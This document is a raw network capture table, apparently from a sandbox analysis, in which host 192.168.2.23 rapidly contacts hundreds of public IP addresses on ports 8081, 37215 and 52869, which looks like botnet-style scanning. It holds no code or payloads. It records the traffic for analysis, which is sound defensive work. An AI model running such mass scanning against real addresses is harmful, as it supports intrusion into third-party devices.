Jul 20, 2024 23:00:56.740940094 CEST	33197	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:56.740952015 CEST	8081	33197	79.87.222.247	192.168.2.23
Jul 20, 2024 23:00:56.740967035 CEST	8081	33197	110.90.71.250	192.168.2.23
Jul 20, 2024 23:00:56.740967989 CEST	33197	8081	192.168.2.23	69.135.152.58
Jul 20, 2024 23:00:56.740983009 CEST	8081	33197	162.88.219.206	192.168.2.23
Jul 20, 2024 23:00:56.740983963 CEST	33197	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:56.740998030 CEST	8081	33197	49.49.107.76	192.168.2.23
Jul 20, 2024 23:00:56.740998983 CEST	33197	8081	192.168.2.23	153.129.111.29
Jul 20, 2024 23:00:56.741000891 CEST	33197	8081	192.168.2.23	110.90.71.250
Jul 20, 2024 23:00:56.741014957 CEST	8081	33197	157.217.88.36	192.168.2.23
Jul 20, 2024 23:00:56.741019011 CEST	33197	8081	192.168.2.23	162.88.219.206
Jul 20, 2024 23:00:56.741029978 CEST	33197	8081	192.168.2.23	49.49.107.76
Jul 20, 2024 23:00:56.741030931 CEST	8081	33197	103.122.90.220	192.168.2.23
Jul 20, 2024 23:00:56.741043091 CEST	33197	8081	192.168.2.23	157.217.88.36
Jul 20, 2024 23:00:56.741045952 CEST	8081	33197	182.241.162.14	192.168.2.23
Jul 20, 2024 23:00:56.741060972 CEST	8081	33197	101.167.238.79	192.168.2.23
Jul 20, 2024 23:00:56.741065979 CEST	33197	8081	192.168.2.23	103.122.90.220
Jul 20, 2024 23:00:56.741075993 CEST	8081	33197	129.66.19.4	192.168.2.23
Jul 20, 2024 23:00:56.741092920 CEST	8081	33197	42.37.47.7	192.168.2.23
Jul 20, 2024 23:00:56.741102934 CEST	33197	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:56.741106987 CEST	8081	33197	209.221.156.98	192.168.2.23
Jul 20, 2024 23:00:56.741123915 CEST	33197	8081	192.168.2.23	42.37.47.7
Jul 20, 2024 23:00:56.741123915 CEST	8081	33197	195.218.137.89	192.168.2.23
Jul 20, 2024 23:00:56.741125107 CEST	33197	8081	192.168.2.23	129.66.19.4
Jul 20, 2024 23:00:56.741139889 CEST	8081	33197	221.225.197.171	192.168.2.23
Jul 20, 2024 23:00:56.741146088 CEST	33197	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:56.741156101 CEST	8081	33197	116.5.187.7	192.168.2.23
Jul 20, 2024 23:00:56.741174936 CEST	33197	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:56.741178036 CEST	8081	33197	130.192.156.155	192.168.2.23
Jul 20, 2024 23:00:56.741185904 CEST	33197	8081	192.168.2.23	116.5.187.7
Jul 20, 2024 23:00:56.741194963 CEST	8081	33197	86.189.116.244	192.168.2.23
Jul 20, 2024 23:00:56.741213083 CEST	8081	33197	68.41.70.255	192.168.2.23
Jul 20, 2024 23:00:56.741230011 CEST	8081	33197	119.196.179.139	192.168.2.23
Jul 20, 2024 23:00:56.741229057 CEST	33197	8081	192.168.2.23	182.241.162.14
Jul 20, 2024 23:00:56.741229057 CEST	33197	8081	192.168.2.23	195.218.137.89
Jul 20, 2024 23:00:56.741245031 CEST	8081	33197	176.159.56.7	192.168.2.23
Jul 20, 2024 23:00:56.741261005 CEST	8081	33197	78.220.143.116	192.168.2.23
Jul 20, 2024 23:00:56.741261959 CEST	33197	8081	192.168.2.23	130.192.156.155
Jul 20, 2024 23:00:56.741261959 CEST	33197	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:00:56.741277933 CEST	8081	33197	191.158.189.2	192.168.2.23
Jul 20, 2024 23:00:56.741282940 CEST	33197	8081	192.168.2.23	86.189.116.244
Jul 20, 2024 23:00:56.741292953 CEST	8081	33197	177.95.54.71	192.168.2.23
Jul 20, 2024 23:00:56.741307974 CEST	33197	8081	192.168.2.23	191.158.189.2
Jul 20, 2024 23:00:56.741308928 CEST	8081	33197	42.11.33.26	192.168.2.23
Jul 20, 2024 23:00:56.741324902 CEST	8081	33197	183.232.41.59	192.168.2.23
Jul 20, 2024 23:00:56.741339922 CEST	8081	33197	14.240.127.137	192.168.2.23
Jul 20, 2024 23:00:56.741343975 CEST	33197	8081	192.168.2.23	176.159.56.7
Jul 20, 2024 23:00:56.741343975 CEST	33197	8081	192.168.2.23	177.95.54.71
Jul 20, 2024 23:00:56.741355896 CEST	8081	33197	219.185.132.28	192.168.2.23
Jul 20, 2024 23:00:56.741372108 CEST	8081	33197	67.27.81.222	192.168.2.23
Jul 20, 2024 23:00:56.741386890 CEST	8081	33197	8.145.37.187	192.168.2.23
Jul 20, 2024 23:00:56.741401911 CEST	8081	33197	113.230.96.58	192.168.2.23
Jul 20, 2024 23:00:56.741415024 CEST	33197	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:56.741415024 CEST	33197	8081	192.168.2.23	14.240.127.137
Jul 20, 2024 23:00:56.741416931 CEST	33197	8081	192.168.2.23	8.145.37.187
Jul 20, 2024 23:00:56.741417885 CEST	8081	33197	44.246.32.7	192.168.2.23
Jul 20, 2024 23:00:56.741432905 CEST	8081	33197	40.128.147.134	192.168.2.23
Jul 20, 2024 23:00:56.741441011 CEST	33197	8081	192.168.2.23	68.41.70.255
Jul 20, 2024 23:00:56.741441011 CEST	33197	8081	192.168.2.23	219.185.132.28
Jul 20, 2024 23:00:56.741447926 CEST	8081	33197	158.113.146.43	192.168.2.23
Jul 20, 2024 23:00:56.741462946 CEST	8081	33197	136.141.153.70	192.168.2.23
Jul 20, 2024 23:00:56.741478920 CEST	33197	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:56.741480112 CEST	8081	33197	67.126.95.220	192.168.2.23
Jul 20, 2024 23:00:56.741497993 CEST	8081	33197	45.154.193.96	192.168.2.23
Jul 20, 2024 23:00:56.741512060 CEST	8081	33197	40.204.235.232	192.168.2.23
Jul 20, 2024 23:00:56.741517067 CEST	33197	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:56.741517067 CEST	33197	8081	192.168.2.23	44.246.32.7
Jul 20, 2024 23:00:56.741527081 CEST	8081	33197	67.253.170.233	192.168.2.23
Jul 20, 2024 23:00:56.741542101 CEST	8081	33197	67.146.206.6	192.168.2.23
Jul 20, 2024 23:00:56.741556883 CEST	8081	33197	99.31.70.158	192.168.2.23
Jul 20, 2024 23:00:56.741571903 CEST	8081	33197	69.163.38.91	192.168.2.23
Jul 20, 2024 23:00:56.741586924 CEST	8081	33197	50.238.59.193	192.168.2.23
Jul 20, 2024 23:00:56.741601944 CEST	8081	33197	40.34.22.17	192.168.2.23
Jul 20, 2024 23:00:56.741605043 CEST	33197	8081	192.168.2.23	78.220.143.116
Jul 20, 2024 23:00:56.741617918 CEST	8081	33197	5.212.63.8	192.168.2.23
Jul 20, 2024 23:00:56.741632938 CEST	8081	33197	126.203.110.229	192.168.2.23
Jul 20, 2024 23:00:56.741647005 CEST	8081	33197	65.226.156.101	192.168.2.23
Jul 20, 2024 23:00:56.741662979 CEST	8081	33197	50.129.227.225	192.168.2.23
Jul 20, 2024 23:00:56.741672039 CEST	33197	8081	192.168.2.23	113.230.96.58
Jul 20, 2024 23:00:56.741672039 CEST	33197	8081	192.168.2.23	40.204.235.232
Jul 20, 2024 23:00:56.741672039 CEST	33197	8081	192.168.2.23	50.238.59.193
Jul 20, 2024 23:00:56.741672039 CEST	33197	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:56.741678953 CEST	8081	33197	62.145.56.184	192.168.2.23
Jul 20, 2024 23:00:56.741687059 CEST	33197	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:56.741687059 CEST	33197	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:56.741687059 CEST	33197	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:56.741687059 CEST	33197	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:56.741693974 CEST	8081	33197	102.118.189.255	192.168.2.23
Jul 20, 2024 23:00:56.741708994 CEST	8081	33197	71.33.35.123	192.168.2.23
Jul 20, 2024 23:00:56.741724014 CEST	8081	33197	39.251.53.179	192.168.2.23
Jul 20, 2024 23:00:56.741739035 CEST	8081	33197	83.20.70.35	192.168.2.23
Jul 20, 2024 23:00:56.741750002 CEST	33197	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:56.741753101 CEST	8081	33197	160.20.175.254	192.168.2.23
Jul 20, 2024 23:00:56.741767883 CEST	8081	33197	77.232.27.69	192.168.2.23
Jul 20, 2024 23:00:56.741782904 CEST	8081	33197	50.166.250.192	192.168.2.23
Jul 20, 2024 23:00:56.741786003 CEST	33197	8081	192.168.2.23	67.27.81.222
Jul 20, 2024 23:00:56.741786003 CEST	33197	8081	192.168.2.23	40.128.147.134
Jul 20, 2024 23:00:56.741786003 CEST	33197	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:56.741786003 CEST	33197	8081	192.168.2.23	67.146.206.6
Jul 20, 2024 23:00:56.741842985 CEST	33197	8081	192.168.2.23	40.34.22.17
Jul 20, 2024 23:00:56.741842985 CEST	33197	8081	192.168.2.23	71.33.35.123
Jul 20, 2024 23:00:56.741842985 CEST	33197	8081	192.168.2.23	160.20.175.254
Jul 20, 2024 23:00:56.741985083 CEST	33197	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:56.741985083 CEST	33197	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:56.742007971 CEST	33197	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:56.742007971 CEST	33197	8081	192.168.2.23	83.20.70.35
Jul 20, 2024 23:00:56.742007971 CEST	33197	8081	192.168.2.23	77.232.27.69
Jul 20, 2024 23:00:56.742459059 CEST	33197	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:56.742459059 CEST	33197	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:56.742459059 CEST	33197	8081	192.168.2.23	39.251.53.179
Jul 20, 2024 23:00:56.742459059 CEST	33197	8081	192.168.2.23	50.166.250.192
Jul 20, 2024 23:00:56.743020058 CEST	8081	33197	47.26.45.215	192.168.2.23
Jul 20, 2024 23:00:56.743038893 CEST	8081	33197	221.124.98.36	192.168.2.23
Jul 20, 2024 23:00:56.743053913 CEST	8081	33197	91.55.81.201	192.168.2.23
Jul 20, 2024 23:00:56.743056059 CEST	33197	8081	192.168.2.23	47.26.45.215
Jul 20, 2024 23:00:56.743069887 CEST	8081	33197	13.154.39.145	192.168.2.23
Jul 20, 2024 23:00:56.743073940 CEST	33197	8081	192.168.2.23	221.124.98.36
Jul 20, 2024 23:00:56.743087053 CEST	8081	33197	116.31.165.18	192.168.2.23
Jul 20, 2024 23:00:56.743102074 CEST	8081	33197	35.61.103.70	192.168.2.23
Jul 20, 2024 23:00:56.743102074 CEST	33197	8081	192.168.2.23	91.55.81.201
Jul 20, 2024 23:00:56.743104935 CEST	33197	8081	192.168.2.23	13.154.39.145
Jul 20, 2024 23:00:56.743117094 CEST	8081	33197	146.31.29.110	192.168.2.23
Jul 20, 2024 23:00:56.743129015 CEST	33197	8081	192.168.2.23	116.31.165.18
Jul 20, 2024 23:00:56.743132114 CEST	8081	33197	95.74.8.198	192.168.2.23
Jul 20, 2024 23:00:56.743134975 CEST	33197	8081	192.168.2.23	35.61.103.70
Jul 20, 2024 23:00:56.743148088 CEST	8081	33197	85.16.45.188	192.168.2.23
Jul 20, 2024 23:00:56.743150949 CEST	33197	8081	192.168.2.23	146.31.29.110
Jul 20, 2024 23:00:56.743163109 CEST	8081	33197	51.210.198.118	192.168.2.23
Jul 20, 2024 23:00:56.743170023 CEST	33197	8081	192.168.2.23	95.74.8.198
Jul 20, 2024 23:00:56.743175983 CEST	33197	8081	192.168.2.23	85.16.45.188
Jul 20, 2024 23:00:56.743179083 CEST	8081	33197	61.254.65.221	192.168.2.23
Jul 20, 2024 23:00:56.743194103 CEST	33197	8081	192.168.2.23	51.210.198.118
Jul 20, 2024 23:00:56.743194103 CEST	8081	33197	186.199.72.114	192.168.2.23
Jul 20, 2024 23:00:56.743213892 CEST	33197	8081	192.168.2.23	61.254.65.221
Jul 20, 2024 23:00:56.743215084 CEST	8081	33197	74.113.80.174	192.168.2.23
Jul 20, 2024 23:00:56.743221045 CEST	33197	8081	192.168.2.23	186.199.72.114
Jul 20, 2024 23:00:56.743231058 CEST	8081	33197	121.107.250.116	192.168.2.23
Jul 20, 2024 23:00:56.743248940 CEST	8081	33197	150.211.33.207	192.168.2.23
Jul 20, 2024 23:00:56.743249893 CEST	33197	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:56.743264914 CEST	33197	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:00:56.743264914 CEST	8081	33197	79.214.171.15	192.168.2.23
Jul 20, 2024 23:00:56.743279934 CEST	33197	8081	192.168.2.23	150.211.33.207
Jul 20, 2024 23:00:56.743282080 CEST	8081	33197	8.92.127.66	192.168.2.23
Jul 20, 2024 23:00:56.743297100 CEST	8081	33197	96.99.34.154	192.168.2.23
Jul 20, 2024 23:00:56.743300915 CEST	33197	8081	192.168.2.23	79.214.171.15
Jul 20, 2024 23:00:56.743313074 CEST	33197	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:56.743313074 CEST	8081	33197	32.26.120.233	192.168.2.23
Jul 20, 2024 23:00:56.743328094 CEST	8081	33197	121.11.165.132	192.168.2.23
Jul 20, 2024 23:00:56.743335009 CEST	33197	8081	192.168.2.23	96.99.34.154
Jul 20, 2024 23:00:56.743340969 CEST	33197	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:56.743361950 CEST	33197	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:56.745671988 CEST	8081	33197	58.209.208.205	192.168.2.23
Jul 20, 2024 23:00:56.745690107 CEST	8081	33197	157.132.243.78	192.168.2.23
Jul 20, 2024 23:00:56.745704889 CEST	8081	33197	13.201.247.1	192.168.2.23
Jul 20, 2024 23:00:56.745711088 CEST	33197	8081	192.168.2.23	58.209.208.205
Jul 20, 2024 23:00:56.745719910 CEST	8081	33197	174.211.130.59	192.168.2.23
Jul 20, 2024 23:00:56.745728016 CEST	33197	8081	192.168.2.23	157.132.243.78
Jul 20, 2024 23:00:56.745735884 CEST	33197	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:56.745737076 CEST	8081	33197	45.29.220.56	192.168.2.23
Jul 20, 2024 23:00:56.745753050 CEST	8081	33197	143.178.252.246	192.168.2.23
Jul 20, 2024 23:00:56.745768070 CEST	8081	33197	209.57.96.146	192.168.2.23
Jul 20, 2024 23:00:56.745770931 CEST	33197	8081	192.168.2.23	45.29.220.56
Jul 20, 2024 23:00:56.745779037 CEST	33197	8081	192.168.2.23	143.178.252.246
Jul 20, 2024 23:00:56.745783091 CEST	8081	33197	222.51.117.113	192.168.2.23
Jul 20, 2024 23:00:56.745798111 CEST	8081	33197	213.64.167.149	192.168.2.23
Jul 20, 2024 23:00:56.745812893 CEST	8081	33197	110.138.50.100	192.168.2.23
Jul 20, 2024 23:00:56.745814085 CEST	33197	8081	192.168.2.23	222.51.117.113
Jul 20, 2024 23:00:56.745827913 CEST	8081	33197	180.150.232.28	192.168.2.23
Jul 20, 2024 23:00:56.745841980 CEST	33197	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:56.745842934 CEST	8081	33197	51.1.78.152	192.168.2.23
Jul 20, 2024 23:00:56.745861053 CEST	8081	33197	201.77.170.14	192.168.2.23
Jul 20, 2024 23:00:56.745870113 CEST	33197	8081	192.168.2.23	180.150.232.28
Jul 20, 2024 23:00:56.745876074 CEST	8081	33197	172.125.164.86	192.168.2.23
Jul 20, 2024 23:00:56.745891094 CEST	8081	33197	123.41.132.40	192.168.2.23
Jul 20, 2024 23:00:56.745893002 CEST	33197	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:56.745907068 CEST	8081	33197	202.218.212.3	192.168.2.23
Jul 20, 2024 23:00:56.745907068 CEST	33197	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:56.745922089 CEST	8081	33197	35.100.103.23	192.168.2.23
Jul 20, 2024 23:00:56.745929003 CEST	33197	8081	192.168.2.23	174.211.130.59
Jul 20, 2024 23:00:56.745929003 CEST	33197	8081	192.168.2.23	209.57.96.146
Jul 20, 2024 23:00:56.745929003 CEST	33197	8081	192.168.2.23	213.64.167.149
Jul 20, 2024 23:00:56.745929003 CEST	33197	8081	192.168.2.23	51.1.78.152
Jul 20, 2024 23:00:56.745934963 CEST	33197	8081	192.168.2.23	202.218.212.3
Jul 20, 2024 23:00:56.745937109 CEST	8081	33197	78.218.78.120	192.168.2.23
Jul 20, 2024 23:00:56.745951891 CEST	8081	33197	211.145.32.152	192.168.2.23
Jul 20, 2024 23:00:56.745954990 CEST	33197	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:56.745966911 CEST	33197	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:56.745968103 CEST	33197	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:56.745969057 CEST	8081	33197	37.155.128.10	192.168.2.23
Jul 20, 2024 23:00:56.745984077 CEST	8081	33197	210.148.47.191	192.168.2.23
Jul 20, 2024 23:00:56.745999098 CEST	8081	33197	169.22.153.45	192.168.2.23
Jul 20, 2024 23:00:56.745999098 CEST	33197	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:56.746014118 CEST	8081	33197	52.47.117.27	192.168.2.23
Jul 20, 2024 23:00:56.746026039 CEST	33197	8081	192.168.2.23	169.22.153.45
Jul 20, 2024 23:00:56.746032000 CEST	8081	33197	203.12.152.184	192.168.2.23
Jul 20, 2024 23:00:56.746035099 CEST	33197	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:56.746038914 CEST	33197	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:56.746049881 CEST	8081	33197	197.124.121.19	192.168.2.23
Jul 20, 2024 23:00:56.746064901 CEST	8081	33197	18.200.102.195	192.168.2.23
Jul 20, 2024 23:00:56.746068001 CEST	33197	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:56.746081114 CEST	33197	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:56.746082067 CEST	8081	33197	206.223.137.129	192.168.2.23
Jul 20, 2024 23:00:56.746085882 CEST	33197	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:56.746097088 CEST	8081	33197	113.50.102.50	192.168.2.23
Jul 20, 2024 23:00:56.746107101 CEST	33197	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:56.746110916 CEST	8081	33197	151.107.112.214	192.168.2.23
Jul 20, 2024 23:00:56.746114016 CEST	33197	8081	192.168.2.23	206.223.137.129
Jul 20, 2024 23:00:56.746126890 CEST	8081	33197	135.134.34.28	192.168.2.23
Jul 20, 2024 23:00:56.746133089 CEST	33197	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:56.746143103 CEST	8081	33197	138.111.21.139	192.168.2.23
Jul 20, 2024 23:00:56.746149063 CEST	33197	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:56.746156931 CEST	33197	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:56.746160030 CEST	8081	33197	69.10.172.90	192.168.2.23
Jul 20, 2024 23:00:56.746167898 CEST	40788	37215	192.168.2.23	157.147.238.186
Jul 20, 2024 23:00:56.746175051 CEST	8081	33197	144.111.168.245	192.168.2.23
Jul 20, 2024 23:00:56.746176958 CEST	33197	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:56.746190071 CEST	8081	33197	212.52.36.237	192.168.2.23
Jul 20, 2024 23:00:56.746195078 CEST	33197	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:56.746205091 CEST	33197	8081	192.168.2.23	144.111.168.245
Jul 20, 2024 23:00:56.746205091 CEST	8081	33197	36.61.132.121	192.168.2.23
Jul 20, 2024 23:00:56.746221066 CEST	8081	33197	91.28.193.161	192.168.2.23
Jul 20, 2024 23:00:56.746225119 CEST	33197	8081	192.168.2.23	212.52.36.237
Jul 20, 2024 23:00:56.746236086 CEST	8081	33197	186.49.44.43	192.168.2.23
Jul 20, 2024 23:00:56.746238947 CEST	33197	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:56.746252060 CEST	8081	33197	141.128.229.14	192.168.2.23
Jul 20, 2024 23:00:56.746262074 CEST	33197	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:56.746268034 CEST	33197	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:56.746268988 CEST	8081	33197	83.149.186.96	192.168.2.23
Jul 20, 2024 23:00:56.746284008 CEST	8081	33197	125.22.92.96	192.168.2.23
Jul 20, 2024 23:00:56.746299028 CEST	8081	33197	158.125.86.92	192.168.2.23
Jul 20, 2024 23:00:56.746315956 CEST	33197	8081	192.168.2.23	141.128.229.14
Jul 20, 2024 23:00:56.746315956 CEST	33197	8081	192.168.2.23	83.149.186.96
Jul 20, 2024 23:00:56.746318102 CEST	33197	8081	192.168.2.23	125.22.92.96
Jul 20, 2024 23:00:56.746330976 CEST	33197	8081	192.168.2.23	158.125.86.92
Jul 20, 2024 23:00:56.748106956 CEST	8081	33197	202.229.106.73	192.168.2.23
Jul 20, 2024 23:00:56.748126030 CEST	8081	33197	43.197.192.55	192.168.2.23
Jul 20, 2024 23:00:56.748141050 CEST	8081	33197	192.33.113.202	192.168.2.23
Jul 20, 2024 23:00:56.748156071 CEST	8081	33197	173.235.121.4	192.168.2.23
Jul 20, 2024 23:00:56.748158932 CEST	33197	8081	192.168.2.23	43.197.192.55
Jul 20, 2024 23:00:56.748168945 CEST	33197	8081	192.168.2.23	192.33.113.202
Jul 20, 2024 23:00:56.748172045 CEST	8081	33197	133.222.62.78	192.168.2.23
Jul 20, 2024 23:00:56.748188019 CEST	8081	33197	77.112.142.207	192.168.2.23
Jul 20, 2024 23:00:56.748191118 CEST	33197	8081	192.168.2.23	173.235.121.4
Jul 20, 2024 23:00:56.748191118 CEST	33197	8081	192.168.2.23	202.229.106.73
Jul 20, 2024 23:00:56.748203993 CEST	8081	33197	161.216.18.180	192.168.2.23
Jul 20, 2024 23:00:56.748205900 CEST	33197	8081	192.168.2.23	133.222.62.78
Jul 20, 2024 23:00:56.748219013 CEST	8081	33197	63.116.244.27	192.168.2.23
Jul 20, 2024 23:00:56.748219013 CEST	33197	8081	192.168.2.23	77.112.142.207
Jul 20, 2024 23:00:56.748231888 CEST	33197	8081	192.168.2.23	161.216.18.180
Jul 20, 2024 23:00:56.748234034 CEST	8081	33197	34.114.207.159	192.168.2.23
Jul 20, 2024 23:00:56.748250008 CEST	8081	33197	192.124.82.132	192.168.2.23
Jul 20, 2024 23:00:56.748255014 CEST	33197	8081	192.168.2.23	63.116.244.27
Jul 20, 2024 23:00:56.748265028 CEST	8081	33197	170.73.241.135	192.168.2.23
Jul 20, 2024 23:00:56.748267889 CEST	33197	8081	192.168.2.23	34.114.207.159
Jul 20, 2024 23:00:56.748282909 CEST	8081	33197	173.229.229.160	192.168.2.23
Jul 20, 2024 23:00:56.748284101 CEST	33197	8081	192.168.2.23	192.124.82.132
Jul 20, 2024 23:00:56.748289108 CEST	33197	8081	192.168.2.23	170.73.241.135
Jul 20, 2024 23:00:56.748298883 CEST	8081	33197	8.73.54.84	192.168.2.23
Jul 20, 2024 23:00:56.748313904 CEST	8081	33197	18.107.60.115	192.168.2.23
Jul 20, 2024 23:00:56.748316050 CEST	33197	8081	192.168.2.23	173.229.229.160
Jul 20, 2024 23:00:56.748328924 CEST	8081	33197	178.182.17.7	192.168.2.23
Jul 20, 2024 23:00:56.748333931 CEST	33197	8081	192.168.2.23	8.73.54.84
Jul 20, 2024 23:00:56.748344898 CEST	8081	33197	121.152.93.241	192.168.2.23
Jul 20, 2024 23:00:56.748346090 CEST	33197	8081	192.168.2.23	18.107.60.115
Jul 20, 2024 23:00:56.748359919 CEST	8081	33197	85.152.134.60	192.168.2.23
Jul 20, 2024 23:00:56.748361111 CEST	33197	8081	192.168.2.23	178.182.17.7
Jul 20, 2024 23:00:56.748374939 CEST	8081	33197	143.150.127.195	192.168.2.23
Jul 20, 2024 23:00:56.748383999 CEST	33197	8081	192.168.2.23	121.152.93.241
Jul 20, 2024 23:00:56.748392105 CEST	8081	33197	152.74.63.149	192.168.2.23
Jul 20, 2024 23:00:56.748394966 CEST	33197	8081	192.168.2.23	85.152.134.60
Jul 20, 2024 23:00:56.748406887 CEST	8081	33197	41.112.53.105	192.168.2.23
Jul 20, 2024 23:00:56.748409033 CEST	33197	8081	192.168.2.23	143.150.127.195
Jul 20, 2024 23:00:56.748421907 CEST	33197	8081	192.168.2.23	152.74.63.149
Jul 20, 2024 23:00:56.748423100 CEST	8081	33197	112.156.107.90	192.168.2.23
Jul 20, 2024 23:00:56.748434067 CEST	33197	8081	192.168.2.23	41.112.53.105
Jul 20, 2024 23:00:56.748437881 CEST	8081	33197	112.255.154.1	192.168.2.23
Jul 20, 2024 23:00:56.748450994 CEST	33197	8081	192.168.2.23	112.156.107.90
Jul 20, 2024 23:00:56.748454094 CEST	8081	33197	151.1.119.221	192.168.2.23
Jul 20, 2024 23:00:56.748469114 CEST	33197	8081	192.168.2.23	112.255.154.1
Jul 20, 2024 23:00:56.748471022 CEST	8081	33197	78.212.124.172	192.168.2.23
Jul 20, 2024 23:00:56.748495102 CEST	8081	33197	76.228.73.89	192.168.2.23
Jul 20, 2024 23:00:56.748496056 CEST	33197	8081	192.168.2.23	151.1.119.221
Jul 20, 2024 23:00:56.748507977 CEST	33197	8081	192.168.2.23	78.212.124.172
Jul 20, 2024 23:00:56.748512030 CEST	8081	33197	119.6.66.14	192.168.2.23
Jul 20, 2024 23:00:56.748527050 CEST	8081	33197	102.74.118.227	192.168.2.23
Jul 20, 2024 23:00:56.748531103 CEST	33197	8081	192.168.2.23	76.228.73.89
Jul 20, 2024 23:00:56.748543978 CEST	8081	33197	72.157.8.7	192.168.2.23
Jul 20, 2024 23:00:56.748548031 CEST	33197	8081	192.168.2.23	119.6.66.14
Jul 20, 2024 23:00:56.748557091 CEST	33197	8081	192.168.2.23	102.74.118.227
Jul 20, 2024 23:00:56.748558998 CEST	8081	33197	151.211.137.114	192.168.2.23
Jul 20, 2024 23:00:56.748572111 CEST	33197	8081	192.168.2.23	72.157.8.7
Jul 20, 2024 23:00:56.748575926 CEST	8081	33197	196.220.216.134	192.168.2.23
Jul 20, 2024 23:00:56.748590946 CEST	33197	8081	192.168.2.23	151.211.137.114
Jul 20, 2024 23:00:56.748590946 CEST	8081	33197	17.109.245.152	192.168.2.23
Jul 20, 2024 23:00:56.748608112 CEST	8081	33197	150.114.206.96	192.168.2.23
Jul 20, 2024 23:00:56.748608112 CEST	33197	8081	192.168.2.23	196.220.216.134
Jul 20, 2024 23:00:56.748617887 CEST	33197	8081	192.168.2.23	17.109.245.152
Jul 20, 2024 23:00:56.748622894 CEST	8081	33197	223.85.222.224	192.168.2.23
Jul 20, 2024 23:00:56.748639107 CEST	8081	33197	212.56.216.147	192.168.2.23
Jul 20, 2024 23:00:56.748640060 CEST	33197	8081	192.168.2.23	150.114.206.96
Jul 20, 2024 23:00:56.748655081 CEST	8081	33197	34.71.3.144	192.168.2.23
Jul 20, 2024 23:00:56.748665094 CEST	33197	8081	192.168.2.23	223.85.222.224
Jul 20, 2024 23:00:56.748665094 CEST	33197	8081	192.168.2.23	212.56.216.147
Jul 20, 2024 23:00:56.748672009 CEST	8081	33197	154.88.5.173	192.168.2.23
Jul 20, 2024 23:00:56.748687029 CEST	8081	33197	4.112.216.21	192.168.2.23
Jul 20, 2024 23:00:56.748687029 CEST	33197	8081	192.168.2.23	34.71.3.144
Jul 20, 2024 23:00:56.748697042 CEST	33197	8081	192.168.2.23	154.88.5.173
Jul 20, 2024 23:00:56.748718023 CEST	33197	8081	192.168.2.23	4.112.216.21
Jul 20, 2024 23:00:56.751562119 CEST	37215	40788	157.147.238.186	192.168.2.23
Jul 20, 2024 23:00:56.751754045 CEST	40788	37215	192.168.2.23	157.147.238.186
Jul 20, 2024 23:00:56.752599955 CEST	48860	37215	192.168.2.23	157.115.56.95
Jul 20, 2024 23:00:56.754367113 CEST	33453	52869	192.168.2.23	189.75.86.189
Jul 20, 2024 23:00:56.754429102 CEST	33453	52869	192.168.2.23	164.189.55.135
Jul 20, 2024 23:00:56.754429102 CEST	33453	52869	192.168.2.23	199.214.91.137
Jul 20, 2024 23:00:56.754435062 CEST	33453	52869	192.168.2.23	157.202.7.129
Jul 20, 2024 23:00:56.754436970 CEST	33453	52869	192.168.2.23	12.55.180.198
Jul 20, 2024 23:00:56.754445076 CEST	33453	52869	192.168.2.23	199.61.238.254
Jul 20, 2024 23:00:56.754453897 CEST	33453	52869	192.168.2.23	133.66.91.121
Jul 20, 2024 23:00:56.754453897 CEST	33453	52869	192.168.2.23	131.199.217.59
Jul 20, 2024 23:00:56.754467010 CEST	33453	52869	192.168.2.23	189.63.115.173
Jul 20, 2024 23:00:56.754477024 CEST	33453	52869	192.168.2.23	9.91.73.111
Jul 20, 2024 23:00:56.754479885 CEST	33453	52869	192.168.2.23	207.223.182.162
Jul 20, 2024 23:00:56.754498959 CEST	33453	52869	192.168.2.23	100.7.167.160
Jul 20, 2024 23:00:56.754498959 CEST	33453	52869	192.168.2.23	142.90.33.83
Jul 20, 2024 23:00:56.754499912 CEST	33453	52869	192.168.2.23	5.1.90.206
Jul 20, 2024 23:00:56.754502058 CEST	33453	52869	192.168.2.23	184.60.97.199
